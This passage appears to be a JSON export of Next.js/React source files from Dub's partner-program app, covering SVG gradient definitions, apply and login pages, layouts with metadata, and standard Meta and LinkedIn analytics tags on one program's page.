     <stop stopColor=\"#fff\" stopOpacity=\"0\" />\n          <stop offset=\"1\" stopColor=\"#fff\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-I`}\n          x1=\"287.434\"\n          x2=\"535.929\"\n          y1=\"582.363\"\n          y2=\"582.363\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#7d3aec\" />\n          <stop offset=\"1\" stopColor=\"#da2778\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-J`}\n          x1=\"580.531\"\n          x2=\"829.735\"\n          y1=\"600.408\"\n          y2=\"600.408\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#7d3aec\" />\n          <stop offset=\"1\" stopColor=\"#da2778\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-K`}\n          x1=\"705.133\"\n          x2=\"705.133\"\n          y1=\"540.53\"\n          y2=\"630.088\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fff\" stopOpacity=\"0\" />\n          <stop offset=\"1\" stopColor=\"#fff\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-L`}\n          x1=\"581.238\"\n          x2=\"829.734\"\n          y1=\"582.363\"\n          y2=\"582.363\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#7d3aec\" />\n          <stop offset=\"1\" stopColor=\"#da2778\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-M`}\n          x1=\"873.629\"\n          x2=\"1122.83\"\n          y1=\"600.408\"\n          y2=\"600.408\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#7d3aec\" />\n          <stop offset=\"1\" stopColor=\"#da2778\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-N`}\n          x1=\"998.231\"\n          x2=\"998.231\"\n          y1=\"540.53\"\n          y2=\"630.088\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fff\" stopOpacity=\"0\" />\n          <stop offset=\"1\" stopColor=\"#fff\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-O`}\n          x1=\"874.336\"\n          x2=\"1122.83\"\n          y1=\"582.363\"\n          y2=\"582.363\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#7d3aec\" />\n          <stop offset=\"1\" stopColor=\"#da2778\" />\n        </linearGradient>\n        <linearGradient\n          id={`${id}-P`}\n          x1=\"286.727\"\n          x2=\"635.045\"\n          y1=\"123.186\"\n          y2=\"123.186\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#f5f5f5\" />\n          <stop offset=\"1\" stopColor=\"#f5f5f5\" stopOpacity=\"0\" />\n        </linearGradient>\n        <clipPath id={`${id}-u`}>\n          <ellipse cx=\"1055.57\" cy=\"165.665\" rx=\"207.788\" ry=\"219.469\" />\n        </clipPath>\n        <clipPath id={`${id}-w`}>\n          <ellipse cx=\"1055.57\" cy=\"165.665\" rx=\"207.788\" ry=\"219.469\" />\n        </clipPath>\n        <clipPath id={`${id}-a`}>\n          <path\n            fill=\"#fff\"\n            d=\"M0 16C0 7.163 7.163 0 16 0h1168c8.84 0 16 7.163 16 16v614.089H0z\"\n          />\n        </clipPath>\n        <clipPath id={`${id}-c`}>\n          <path fill=\"#fff\" d=\"M60.887 56.638h11.327v11.327H60.887z\" />\n        </clipPath>\n        <clipPath id={`${id}-d`}>\n          <path fill=\"#fff\" d=\"M60.887 101.947h11.327v11.327H60.887z\" />\n        </clipPath>\n        <clipPath id={`${id}-e`}>\n          <path fill=\"#fff\" d=\"M60.887 167.921h11.327v11.327H60.887z\" />\n        </clipPath>\n        <clipPath id={`${id}-f`}>\n          <path fill=\"#fff\" d=\"M60.887 213.23h11.327v11.327H60.887z\" />\n        </clipPath>\n        <clipPath id={`${id}-g`}>\n          <path fill=\"#fff\" d=\"M60.887 235.886h11.327v11.327H60.887z\" />\n        </clipPath>\n        <clipPath id={`${id}-h`}>\n          <path fill=\"#fff\" d=\"M60.887 301.858h11.327v11.327H60.887z\" />\n        </clipPath>\n        <clipPath id={`${id}-j`}>\n          <path\n            fill=\"#fff\"\n            d=\"M215.221 14.16a8.495 8.495 0 0 1 8.495-8.496h962.124c4.69 0 8.5 3.804 8.5 8.496v661.239c0 4.692-3.81 8.495-8.5 8.495H223.716a8.495 8.495 0 0 1-8.495-8.495z\"\n          />\n        </clipPath>\n        <clipPath id={`${id}-l`}>\n          <path\n            fill=\"#fff\"\n            d=\"M272.92 76.46a8.496 8.496 0 0 1 8.495-8.495h846.725c4.69 0 8.5 3.803 8.5 8.495v174.16c0 4.692-3.81 8.495-8.5 8.495H281.416a8.495 8.495 0 0 1-8.496-8.495z\"\n          />\n        </clipPath>\n        <clipPath id={`${id}-F`}>\n          <path fill=\"#fff\" d=\"M815.574 296.64h7.08v7.08h-7.08z\" />\n        </clipPath>\n        <clipPath id={`${id}-Q`}>\n          <path fill=\"#fff\" d=\"M563.727 117.521h11.327v11.327h-11.327z\" />\n        </clipPath>\n        <clipPath id={`${id}-R`}>\n          <path fill=\"#fff\" d=\"M298.055 195.119h12.743v12.743h-12.743z\" />\n        </clipPath>\n        <radialGradient\n          id={`${id}-n`}\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientTransform=\"matrix(318.59 234.736 -193.862 385.761 153.291 221.716)\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#eea5ba\" />\n          <stop offset=\".5\" stopColor=\"#eea5ba\" stopOpacity=\"0\" />\n        </radialGradient>\n        <radialGradient\n          id={`${id}-o`}\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientTransform=\"matrix(231.637 195.038 -161.077 280.475 142.6 186.333)\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#3a8bfd\" />\n          <stop offset=\".5\" stopColor=\"#3a8bfd\" stopOpacity=\"0\" />\n        </radialGradient>\n        <radialGradient\n          id={`${id}-p`}\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientTransform=\"matrix(-348.524 0 0 -422.007 415.575 332.18)\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#e4c795\" />\n          <stop offset=\".5\" stopColor=\"#e4c795\" stopOpacity=\"0\" />\n        </radialGradient>\n        <radialGradient\n          id={`${id}-q`}\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientTransform=\"matrix(338.702 358.775 -299.056 406.678 10.59 96.815)\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#855afc\" />\n          <stop offset=\".5\" stopColor=\"#855afc\" stopOpacity=\"0\" />\n        </radialGradient>\n        <radialGradient\n          id={`${id}-r`}\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientTransform=\"matrix(372.135 0 0 452.009 217.345 332.18)\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fd3a4e\" />\n          <stop offset=\".5\" stopColor=\"#fd3a4e\" stopOpacity=\"0\" />\n        </radialGradient>\n        <radialGradient\n          id={`${id}-s`}\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientTransform=\"matrix(287.132 475.513 -423.459 374.889 384.313 22.364)\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#72fe7d\" />\n          <stop offset=\".5\" stopColor=\"#72fe7d\" stopOpacity=\"0\" />\n        </radialGradient>\n        <filter\n          id={`${id}-i`}\n          width=\"983.363\"\n          height=\"682.478\"\n          x=\"213.097\"\n          y=\"4.956\"\n          colorInterpolationFilters=\"sRGB\"\n          filterUnits=\"userSpaceOnUse\"\n        >\n          <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n          <feColorMatrix\n            in=\"SourceAlpha\"\n            result=\"hardAlpha\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n          />\n          <feOffset dy=\"1.416\" />\n          <feGaussianBlur stdDeviation=\"1.062\" />\n          <feComposite in2=\"hardAlpha\" operator=\"out\" />\n          <feColorMatrix values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.04 0\" />\n          <feBlend\n            in2=\"BackgroundImageFix\"\n            result=\"effect1_dropShadow_45986_79663\"\n          />\n          <feBlend\n            in=\"SourceGraphic\"\n            in2=\"effect1_dropShadow_45986_79663\"\n            result=\"shape\"\n          />\n        </filter>\n        <filter\n          id={`${id}-m`}\n          width=\"585.486\"\n          height=\"502.092\"\n          x=\"762.831\"\n          y=\"-72.713\"\n          colorInterpolationFilters=\"sRGB\"\n          filterUnits=\"userSpaceOnUse\"\n        >\n          <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n          <feBlend in=\"SourceGraphic\" in2=\"BackgroundImageFix\" result=\"shape\" />\n          <feGaussianBlur\n            result=\"effect1_foregroundBlur_45986_79663\"\n            stdDeviation=\"42.478\"\n          />\n        </filter>\n        <filter\n          id={`${id}-t`}\n          width=\"557.167\"\n          height=\"580.531\"\n          x=\"776.991\"\n          y=\"-124.6\"\n          colorInterpolationFilters=\"sRGB\"\n          filterUnits=\"userSpaceOnUse\"\n        >\n          <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n          <feBlend in=\"SourceGraphic\" in2=\"BackgroundImageFix\" result=\"shape\" />\n          <feGaussianBlur\n            result=\"effect1_foregroundBlur_45986_79663\"\n            stdDeviation=\"35.398\"\n          />\n        </filter>\n        <filter\n          id={`${id}-v`}\n          width=\"557.167\"\n          height=\"580.531\"\n          x=\"776.991\"\n          y=\"-124.6\"\n          colorInterpolationFilters=\"sRGB\"\n          filterUnits=\"userSpaceOnUse\"\n        >\n          <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n          <feBlend in=\"SourceGraphic\" in2=\"BackgroundImageFix\" result=\"shape\" />\n          <feGaussianBlur\n            result=\"effect1_foregroundBlur_45986_79663\"\n            stdDeviation=\"35.398\"\n          />\n        </filter>\n        <filter\n          id={`${id}-y`}\n          width=\"113.805\"\n          height=\"113.806\"\n          x=\"966.461\"\n          y=\"106.638\"\n          colorInterpolationFilters=\"sRGB\"\n          filterUnits=\"userSpaceOnUse\"\n        >\n          <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n          <feBlend in=\"SourceGraphic\" in2=\"BackgroundImageFix\" result=\"shape\" />\n          <feColorMatrix\n            in=\"SourceAlpha\"\n            result=\"hardAlpha\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n          />\n          <feOffset />\n          <feGaussianBlur stdDeviation=\"4.248\" />\n          <feComposite in2=\"hardAlpha\" k2=\"-1\" k3=\"1\" operator=\"arithmetic\" />\n          <feColorMatrix values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.5 0\" />\n          <feBlend in2=\"shape\" result=\"effect1_innerShadow_45986_79663\" />\n        </filter>\n        <filter\n          id={`${id}-A`}\n          width=\"70.796\"\n          height=\"70.796\"\n          x=\"987.965\"\n          y=\"128.142\"\n          colorInterpolationFilters=\"sRGB\"\n          filterUnits=\"userSpaceOnUse\"\n        >\n          <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n          <feColorMatrix\n            in=\"SourceAlpha\"\n            result=\"hardAlpha\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n          />\n          <feOffset />\n          <feGaussianBlur stdDeviation=\"3.54\" />\n          <feColorMatrix values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.25 0\" />\n          <feBlend\n            in2=\"BackgroundImageFix\"\n            result=\"effect1_dropShadow_45986_79663\"\n          />\n          <feBlend\n            in=\"SourceGraphic\"\n            in2=\"effect1_dropShadow_45986_79663\"\n            result=\"shape\"\n          />\n        </filter>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(default)/apply-button.tsx",
    "content": "\"use client\";\n\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { Button } from \"@dub/ui\";\nimport Link from \"next/link\";\n\nexport function ApplyButton({\n  programSlug,\n  groupSlug,\n}: {\n  programSlug: string;\n  groupSlug: string;\n}) {\n  const partnerGroupSlug =\n    groupSlug === DEFAULT_PARTNER_GROUP.slug ? \"\" : `/${groupSlug}`;\n\n  return (\n    <Link href={`/${programSlug}${partnerGroupSlug}/apply`}>\n      <Button\n        type=\"button\"\n        text=\"Apply today\"\n        className=\"border-[var(--brand)] bg-[var(--brand)] hover:bg-[var(--brand)] hover:ring-[var(--brand-ring)]\"\n      />\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(default)/header.tsx",
    "content": "\"use client\";\n\nimport { PartnerGroup } from \"@dub/prisma/client\";\nimport { Button, useScroll, Wordmark } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport Link from \"next/link\";\nimport { useParams, usePathname } from \"next/navigation\";\n\nexport function ApplyHeader({\n  group,\n  showLogin = true,\n  showApply = true,\n}: {\n  group: Pick<PartnerGroup, \"logo\" | \"wordmark\">;\n  showLogin?: boolean;\n  showApply?: boolean;\n}) {\n  const pathname = usePathname();\n  const { data: session, status } = useSession();\n\n  const scrolled = useScroll(0);\n\n  const { programSlug, groupSlug } = useParams();\n\n  const partnerGroupSlug = groupSlug ? `/${groupSlug}` : \"\";\n\n  return (\n    <header\n      className={\n        \"sticky top-0 z-10 mx-px flex items-center justify-between bg-white/90 px-6 py-4 backdrop-blur-sm\"\n      }\n    >\n      {/* Bottom border when scrolled */}\n      <div\n        className={cn(\n          \"absolute inset-x-0 bottom-0 h-px bg-neutral-200 opacity-0 transition-opacity duration-300 [mask-image:linear-gradient(90deg,transparent,black,transparent)]\",\n          scrolled && \"opacity-100\",\n        )}\n      />\n\n      <Link\n        href={`/${programSlug}${partnerGroupSlug}`}\n        className=\"animate-fade-in my-0.5 block\"\n      >\n        {group.wordmark || group.logo ? (\n          <img\n            className=\"max-h-7 max-w-32\"\n            src={(group.wordmark ?? group.logo) as string}\n          />\n        ) : (\n          <Wordmark className=\"h-7\" />\n        )}\n      </Link>\n\n      <div className=\"flex items-center gap-2\">\n        {showLogin && !session?.user && status !== \"loading\" && (\n          <Link href={`/${programSlug}/login?next=${pathname}`}>\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Log in\"\n              className=\"animate-fade-in h-8 w-fit text-neutral-600\"\n            />\n          </Link>\n        )}\n        {showApply && (\n          <Link href={`/${programSlug}${partnerGroupSlug}/apply`}>\n            <Button\n              type=\"button\"\n              text=\"Apply\"\n              className=\"animate-fade-in h-8 w-fit border-[var(--brand)] bg-[var(--brand)] hover:bg-[var(--brand)] hover:ring-[var(--brand-ring)]\"\n            />\n          </Link>\n        )}\n      </div>\n    </header>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(default)/layout.tsx",
    "content": "import { getProgram } from \"@/lib/fetchers/get-program\";\nimport { getProgramSlugs } from \"@/lib/fetchers/get-program-slugs\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { formatRewardDescription } from \"@/ui/partners/format-reward-description\";\nimport { Wordmark } from \"@dub/ui\";\nimport { APP_DOMAIN, PARTNERS_DOMAIN } from \"@dub/utils\";\nimport { constructMetadata } from \"@dub/utils/src/functions\";\nimport Link from \"next/link\";\nimport { notFound } from \"next/navigation\";\nimport Script from \"next/script\";\nimport { PropsWithChildren } from \"react\";\n\nexport async function generateMetadata(props: {\n  params: Promise<{ programSlug: string; groupSlug?: string }>;\n}) {\n  const { programSlug, groupSlug } = await props.params;\n\n  const partnerGroupSlug = groupSlug ?? DEFAULT_PARTNER_GROUP.slug;\n\n  const program = await getProgram({\n    slug: programSlug,\n    groupSlug: partnerGroupSlug,\n  });\n\n  if (!program) {\n    notFound();\n  }\n\n  return constructMetadata({\n    title: `${program.name} Affiliate Program`,\n    description: `Join the ${program.name} affiliate program and ${\n      program.rewards && program.rewards.length > 0\n        ? formatRewardDescription(program.rewards[0]).toLowerCase()\n        : \"earn commissions\"\n    } by referring ${program.name} to your friends and followers.`,\n    image: `${APP_DOMAIN}/api/og/program?slug=${program.slug}${groupSlug ? `&groupSlug=${groupSlug}` : \"\"}`,\n    canonicalUrl: `${PARTNERS_DOMAIN}/${program.slug}`,\n  });\n}\n\nexport async function generateStaticParams() {\n  const programs = await getProgramSlugs();\n\n  return programs.map((program) => ({\n    programSlug: program.slug,\n    groupSlug: DEFAULT_PARTNER_GROUP.slug,\n  }));\n}\n\nexport default async function ApplyLayout(\n  props: PropsWithChildren<{\n    params: Promise<{ programSlug: string }>;\n  }>,\n) {\n  const { programSlug } = await props.params;\n\n  const { children } = props;\n\n  const program = await getProgram({ slug: programSlug });\n\n  if (!program) {\n    notFound();\n  }\n\n  return (\n    <>\n      {program.slug === \"perplexity\" && (\n        <>\n          {/* Meta script */}\n          <Script\n            strategy=\"beforeInteractive\"\n            dangerouslySetInnerHTML={{\n              __html: `!function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod?n.callMethod.apply(n,arguments):n.queue.push(arguments)};if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0;t.src=v;s=b.getElementsByTagName(e)[0];s.parentNode.insertBefore(t,s)}(window, document,'script','https://connect.facebook.net/en_US/fbevents.js');fbq('init', '1340891577378510');fbq('track', 'PageView');`,\n            }}\n          />\n          {/* LinkedIn script */}\n          <Script\n            strategy=\"beforeInteractive\"\n            dangerouslySetInnerHTML={{\n              __html: `_linkedin_partner_id = \"8071818\";window._linkedin_data_partner_ids = window._linkedin_data_partner_ids || [];window._linkedin_data_partner_ids.push(_linkedin_partner_id);(function(l) {if (!l){window.lintrk = function(a,b){window.lintrk.q.push([a,b])};window.lintrk.q=[]}var s = document.getElementsByTagName(\"script\")[0];var b = document.createElement(\"script\");b.type = \"text/javascript\";b.async = true;b.src = \"https://snap.licdn.com/li.lms-analytics/insight.min.js\";s.parentNode.insertBefore(b, s);})(window.lintrk);`,\n            }}\n          />\n        </>\n      )}\n      <div className=\"relative\">\n        <div className=\"relative z-10 mx-auto min-h-screen w-full max-w-screen-sm bg-white\">\n          <div className=\"pointer-events-none absolute left-0 top-0 h-screen w-full border-x border-neutral-200 [mask-image:linear-gradient(black,transparent)]\" />\n          {children}\n          {/* Footer */}\n          <footer className=\"mt-14 flex flex-col items-center gap-4 py-6 text-center text-xs text-neutral-500\">\n            <Link\n              href=\"https://dub.co/partners\"\n              target=\"_blank\"\n              className=\"flex items-center gap-1.5 whitespace-nowrap\"\n            >\n              Powered by <Wordmark className=\"h-4 p-0.5\" />\n            </Link>\n            <span className=\"flex items-center gap-2\">\n              <a\n                href=\"https://dub.co/legal/partners\"\n                target=\"_blank\"\n                className=\"transition-colors duration-75 hover:text-neutral-600\"\n              >\n                Terms of Service\n              </a>\n              <span className=\"text-base text-neutral-200\">&bull;</span>\n              <a\n                href=\"https://dub.co/legal/privacy\"\n                target=\"_blank\"\n                className=\"transition-colors duration-75 hover:text-neutral-600\"\n              >\n                Privacy Policy\n              </a>\n            </span>\n          </footer>\n        </div>\n\n        {/* Background grid */}\n        <div className=\"absolute inset-0 flex h-fit w-full items-center justify-center\">\n          <img\n            src=\"https://assets.dub.co/misc/program-apply-grid.svg\"\n            alt=\"\"\n            width={1280}\n            height={480}\n            className=\"[mask-image:radial-gradient(70%_100%_at_50%_0%,black_30%,transparent)]\"\n          />\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(default)/page.tsx",
    "content": "import { getProgram } from \"@/lib/fetchers/get-program\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { programLanderSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { BLOCK_COMPONENTS } from \"@/ui/partners/lander/blocks\";\nimport { LanderHero } from \"@/ui/partners/lander/lander-hero\";\nimport { LanderRewards } from \"@/ui/partners/lander/lander-rewards\";\nimport { notFound, redirect } from \"next/navigation\";\nimport { CSSProperties } from \"react\";\nimport { ApplyButton } from \"./apply-button\";\nimport { ApplyHeader } from \"./header\";\n\nexport default async function ApplyPage(props: {\n  params: Promise<{ programSlug: string; groupSlug?: string }>;\n}) {\n  const { programSlug, groupSlug } = await props.params;\n\n  const partnerGroupSlug = groupSlug ?? DEFAULT_PARTNER_GROUP.slug;\n\n  const program = await getProgram({\n    slug: programSlug,\n    groupSlug: partnerGroupSlug,\n  });\n\n  if (\n    !program ||\n    !program.group ||\n    !program.group.landerData ||\n    !program.group.landerPublishedAt\n  ) {\n    // throw 404 if it's the default group, else redirect to the default group page\n    if (partnerGroupSlug === DEFAULT_PARTNER_GROUP.slug) {\n      notFound();\n    } else {\n      redirect(`/${programSlug}`);\n    }\n  }\n\n  const landerData = programLanderSchema.parse(program.group.landerData || {});\n\n  return (\n    <div\n      className=\"relative\"\n      style={\n        {\n          \"--brand\": program.group.brandColor || \"#000000\",\n          \"--brand-ring\": \"rgb(from var(--brand) r g b / 0.2)\",\n        } as CSSProperties\n      }\n    >\n      <ApplyHeader group={program.group} />\n      <div className=\"p-6\">\n        <LanderHero program={program} landerData={landerData} />\n\n        {/* Program details grid */}\n        <LanderRewards\n          className=\"mt-4\"\n          rewards={program.rewards}\n          discount={program.discount}\n          bounties={program.group.bounties}\n        />\n\n        {/* Buttons */}\n        <div className=\"animate-scale-in-fade mt-10 flex flex-col gap-2 [animation-delay:400ms] [animation-fill-mode:both]\">\n          <ApplyButton programSlug={programSlug} groupSlug={partnerGroupSlug} />\n        </div>\n\n        {/* Content blocks */}\n        <div className=\"mt-16 grid grid-cols-1 gap-10\">\n          {landerData.blocks.map((block, idx) => {\n            const Component = BLOCK_COMPONENTS[block.type];\n            return Component ? (\n              <Component key={idx} block={block} group={program.group} />\n            ) : null;\n          })}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(group-level)/[groupSlug]/apply/page.tsx",
    "content": "export { default } from \"../../../(default)/apply/page\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(group-level)/[groupSlug]/apply/success/page.tsx",
    "content": "export { default } from \"../../../../(default)/apply/success/page\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(group-level)/[groupSlug]/layout.tsx",
    "content": "export { default, generateMetadata } from \"../../(default)/layout\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(apply)/[programSlug]/(group-level)/[groupSlug]/page.tsx",
    "content": "export { default } from \"../../(default)/page\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-login-register)/(generic)/layout.tsx",
    "content": "import { getProgram } from \"@/lib/fetchers/get-program\";\nimport { getProgramSlugs } from \"@/lib/fetchers/get-program-slugs\";\nimport { formatRewardDescription } from \"@/ui/partners/format-reward-description\";\nimport { Grid } from \"@dub/ui\";\nimport { cn, constructMetadata, PARTNERS_DOMAIN } from \"@dub/utils\";\nimport { redirect } from \"next/navigation\";\nimport { ReactNode } from \"react\";\nimport { Logo } from \"../../(auth-other)/logo\";\nimport { PartnerBanner } from \"../partner-banner\";\nimport { SidePanel } from \"../side-panel\";\n\nexport async function generateMetadata(props: {\n  params: Promise<{ programSlug?: string }>;\n}) {\n  const { programSlug } = await props.params;\n\n  const program = programSlug\n    ? (await getProgram({ slug: programSlug })) ?? undefined\n    : undefined;\n\n  if (programSlug && !program) {\n    redirect(\"/register\");\n  }\n\n  if (program) {\n    return constructMetadata({\n      title: `${program.name} Affiliate Program`,\n      description: `Join the ${program.name} affiliate program and ${\n        program.rewards && program.rewards.length > 0\n          ? formatRewardDescription(program.rewards[0]).toLowerCase()\n          : \"earn commissions\"\n      } by referring ${program.name} to your friends and followers.`,\n      image: `${PARTNERS_DOMAIN}/api/og/program?slug=${program.slug}`,\n      canonicalUrl: `${PARTNERS_DOMAIN}/${program.slug}`,\n    });\n  }\n\n  return constructMetadata({\n    fullTitle: \"Dub Partners | Earn by partnering with world-class companies\",\n    description:\n      \"Join thousands of partners who have earned over $10,000,000 on Dub partnering with world-class companies.\",\n  });\n}\n\nexport async function generateStaticParams() {\n  const programs = await getProgramSlugs();\n\n  return programs.map((program) => ({\n    programSlug: program.slug,\n  }));\n}\n\nexport default async function PartnerAuthLayout(props: {\n  params: Promise<{ programSlug?: string }>;\n  children: ReactNode;\n}) {\n  const { programSlug } = await props.params;\n\n  const program = programSlug\n    ? (await getProgram({ slug: programSlug })) ?? undefined\n    : undefined;\n\n  if (programSlug && !program) {\n    redirect(\"/register\");\n  }\n  return (\n    <div className=\"relative grid min-h-[100dvh] min-h-screen grid-cols-1 min-[900px]:grid-cols-[440px_minmax(0,1fr)] lg:grid-cols-[595px_minmax(0,1fr)]\">\n      <PartnerBanner program={program} />\n      <SidePanel program={program} />\n\n      <div className=\"relative\">\n        <div className=\"absolute inset-0 isolate overflow-hidden bg-white\">\n          {/* Grid */}\n          <div\n            className={cn(\n              \"absolute inset-y-0 left-1/2 w-[1200px] -translate-x-1/2\",\n              \"[mask-composite:intersect] [mask-image:linear-gradient(black,transparent_320px),linear-gradient(90deg,transparent,black_5%,black_95%,transparent)]\",\n            )}\n          >\n            <Grid\n              cellSize={60}\n              patternOffset={[0.75, 0]}\n              className=\"text-neutral-200\"\n            />\n          </div>\n\n          {/* Gradient */}\n          {[...Array(2)].map((_, idx) => (\n            <div\n              key={idx}\n              className={cn(\n                \"absolute left-1/2 top-6 size-[80px] -translate-x-1/2 -translate-y-1/2 scale-x-[1.6]\",\n                idx === 0 ? \"mix-blend-overlay\" : \"opacity-10\",\n              )}\n            >\n              {[...Array(idx === 0 ? 2 : 1)].map((_, idx) => (\n                <div\n                  key={idx}\n                  className={cn(\n                    \"absolute -inset-16 mix-blend-overlay blur-[50px] saturate-[2]\",\n                    \"bg-[conic-gradient(from_90deg,#F00_5deg,#EAB308_63deg,#5CFF80_115deg,#1E00FF_170deg,#855AFC_220deg,#3A8BFD_286deg,#F00_360deg)]\",\n                  )}\n                />\n              ))}\n            </div>\n          ))}\n        </div>\n        <div className=\"relative flex min-h-[100dvh] min-h-screen w-full justify-center\">\n          <Logo className=\"min-[900px]:hidden\" />\n          {props.children}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-login-register)/(generic)/login/page.tsx",
    "content": "import { getProgram } from \"@/lib/fetchers/get-program\";\nimport { AuthAlternativeBanner } from \"@/ui/auth/auth-alternative-banner\";\nimport { FramerButton } from \"@/ui/auth/login/framer-button\";\nimport LoginForm from \"@/ui/auth/login/login-form\";\nimport { AuthLayout } from \"@/ui/layout/auth-layout\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { redirect } from \"next/navigation\";\n\nexport default async function LoginPage(props: {\n  params: Promise<{ programSlug?: string }>;\n}) {\n  const { programSlug } = await props.params;\n\n  if (programSlug === \"framer\") {\n    return (\n      <AuthLayout showTerms=\"partners\">\n        <div className=\"mx-auto my-10 flex w-full max-w-sm flex-col gap-8\">\n          <div className=\"animate-slide-up-fade relative flex w-auto flex-col items-center [--offset:10px] [animation-duration:1.3s] [animation-fill-mode:both]\">\n            <img\n              src=\"https://assets.dub.co/testimonials/companies/framer.svg\"\n              alt=\"Framer Logo\"\n              className=\"h-8\"\n            />\n          </div>\n          <div className=\"animate-slide-up-fade flex flex-col items-center justify-center gap-2 [--offset:10px] [animation-delay:0.15s] [animation-duration:1.3s] [animation-fill-mode:both]\">\n            <h1 className=\"text-lg font-medium text-neutral-800\">\n              Sign in to Framer Partners\n            </h1>\n            <p className=\"text-center text-sm text-neutral-700\">\n              Not a Framer Partner?&nbsp;\n              <a\n                href=\"https://www.framer.com/creators\"\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                className=\"font-normal underline decoration-dotted underline-offset-2 transition-colors hover:text-black\"\n              >\n                Apply today\n              </a>\n            </p>\n          </div>\n\n          <div className=\"animate-slide-up-fade [--offset:10px] [animation-delay:0.3s] [animation-duration:1.3s] [animation-fill-mode:both]\">\n            <FramerButton />\n          </div>\n        </div>\n      </AuthLayout>\n    );\n  }\n\n  const program = programSlug ? await getProgram({ slug: programSlug }) : null;\n\n  if (programSlug && !program) {\n    redirect(\"/login\");\n  }\n\n  return (\n    <div className=\"relative w-full\">\n      <AuthLayout showTerms=\"partners\" className={cn(programSlug && \"pt-20\")}>\n        <div className=\"w-full max-w-sm\">\n          <h1 className=\"text-center text-xl font-semibold\">\n            Log in to your Dub Partner account\n          </h1>\n          <div className=\"mt-8\">\n            <LoginForm\n              methods={[\"email\", \"password\", \"google\"]}\n              next={programSlug ? `/programs/${programSlug}` : \"/\"}\n            />\n          </div>\n          <p className=\"mt-6 text-center text-sm font-medium text-neutral-500\">\n            Don't have a partner account?&nbsp;\n            <Link\n              href={`${programSlug ? `/${programSlug}` : \"\"}/register`}\n              className=\"font-semibold text-neutral-700 transition-colors hover:text-neutral-900\"\n            >\n              Sign up\n            </Link>\n          </p>\n\n          {!programSlug && (\n            <div className=\"mt-12 